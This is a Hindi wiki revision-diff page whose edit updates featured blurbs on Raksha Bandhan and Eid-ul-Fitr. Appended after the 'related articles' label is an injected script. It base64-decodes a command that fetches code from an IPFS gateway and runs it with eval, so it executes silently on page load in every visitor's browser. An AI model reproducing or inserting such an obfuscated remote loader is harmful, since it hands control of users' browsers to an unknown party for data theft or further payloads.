No edit summary |
गोविन्द राम (वार्ता | योगदान) No edit summary |
||
पंक्ति 24: | पंक्ति 24: | ||
| class="headbg20" style="border:1px solid #FBE773;padding:10px;" valign="top" | <div class="headbg19" style="padding-left:8px;">'''विशेष आलेख'''</div> | | class="headbg20" style="border:1px solid #FBE773;padding:10px;" valign="top" | <div class="headbg19" style="padding-left:8px;">'''विशेष आलेख'''</div> | ||
---- | ---- | ||
<div align="center" style="color:#34341B;">'''[[ | <div align="center" style="color:#34341B;">'''[[रक्षाबन्धन]]'''</div> | ||
[[चित्र: | <div id="rollnone"> [[चित्र:Raksha-Bandhan.jpg|right|150px|रक्षाबन्धन|link=रक्षाबन्धन]] </div> | ||
*रक्षाबन्धन [[भारत]] में भाई-बहन को स्नेह की डोर से बांधने वाला हिंदुओं का प्रमुख त्योहार है। [[श्रावण]] शुक्ल की [[पूर्णिमा]] को 'रक्षाबन्धन' मनाया जाता हैं। | |||
*रक्षाबंधन का अर्थ है (रक्षा+बंधन) अर्थात किसी को अपनी रक्षा के लिए बांध लेना। | |||
*भारतीय परम्परा में विश्वास का बन्धन ही मूल है और रक्षाबन्धन इसी विश्वास का बन्धन है। | |||
*यह पर्व मात्र रक्षा-सूत्र के रूप में [[राखी]] बाँधकर रक्षा का वचन ही नहीं देता वरन् प्रेम, समर्पण, निष्ठा व संकल्प के जरिए हृदयों को बाँधने का भी वचन देता है। | |||
*रक्षाबंधन के दिन देश में कई स्थानों पर ब्राह्मण, पुरोहित भी अपने यजमान की समृद्धि हेतु उन्हें रक्षा बाँधते हैं, जिसकी उन्हें दक्षिणा भी मिलती है। | |||
*[[मुंबई]] में रक्षाबंधन पर्व को नारली (नारियल) पूर्णिमा के नाम से भी जाना जाता है। जल के देवता [[वरुण देवता|वरुण]] को प्रसन्न करने के लिए समुद्र को (नारियल) अर्पित किए जाते हैं। [[रक्षाबन्धन|.... और पढ़ें]] | |||
|- | |- | ||
| class="bgsanskrati2" style="border:1px solid #fbe773;padding:10px;" valign="top" | '''चयनित लेख''' | | class="bgsanskrati2" style="border:1px solid #fbe773;padding:10px;" valign="top" | '''चयनित लेख''' | ||
---- | ---- | ||
<div align="center" style="color:#34341B;">'''[[ | <div align="center" style="color:#34341B;">'''[[ईद-उल-फ़ितर]]'''</div> | ||
<div id="rollnone"> [[चित्र: | <div id="rollnone"> [[चित्र:Eid-ul fitr-2.jpg|right|100px|ईद पर नमाज़ पढ़ते लोग|link=ईद-उल-फ़ितर]] </div> | ||
* | *ईद-उल-फ़ितर मुसलमानों का पवित्र त्योहार है। [[रमज़ान]] के पूरे महीने में [[मुसलमान]] रोज़े रखकर अर्थात भूखे-प्यासे रहकर पूरा महीना अल्लाह की इबादत में गुज़ार देते हैं। | ||
*रमज़ान के पूरे महीने को अल्लाह की इबादत में गुज़ार कर जब वे रोज़ों से फ़ारिग हो जाते हैं तो चांद की पहली तारीख़ अर्थात जिस दिन चांद दिखाई देता है, उस रोज़ को छोड़कर दूसरे दिन ईद का त्योहार अर्थात ‘बहुत ख़ुशी का दिन’ मनाया जाता है। | |||
*ईद का त्योहार बड़ी धूमधाम से मनाया जाता है। इस दिन मुसलमान किसी पाक साफ़ जगह पर जिसे 'ईदगाह' कहते हैं, वहाँ इकट्ठे होकर दो रक्आत नमाज़ शुक्राने की अदा करते हैं। | |||
*ईदगाह में नमाज़ पढ़ने के लिए जाने से पहले मुसलमान लोग 'फ़ितरा' अर्थात 'जान व माल का सदक़ा' लेकर जाते है, जो हर मुसलमान पर फ़र्ज होता है, वह ग़रीबों में बांटा जाता है। '''[[ईद-उल-फ़ितर|.... और पढ़ें]]''' | |||
* | |||
* | |||
|} | |} | ||
{| width="49%" align="right" cellpadding="1" cellspacing="5" | {| width="49%" align="right" cellpadding="1" cellspacing="5" |
10:36, 5 दिसम्बर 2010 का अवतरण
| |||||||||||||||
| |||||||||||||||
संबंधित लेख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |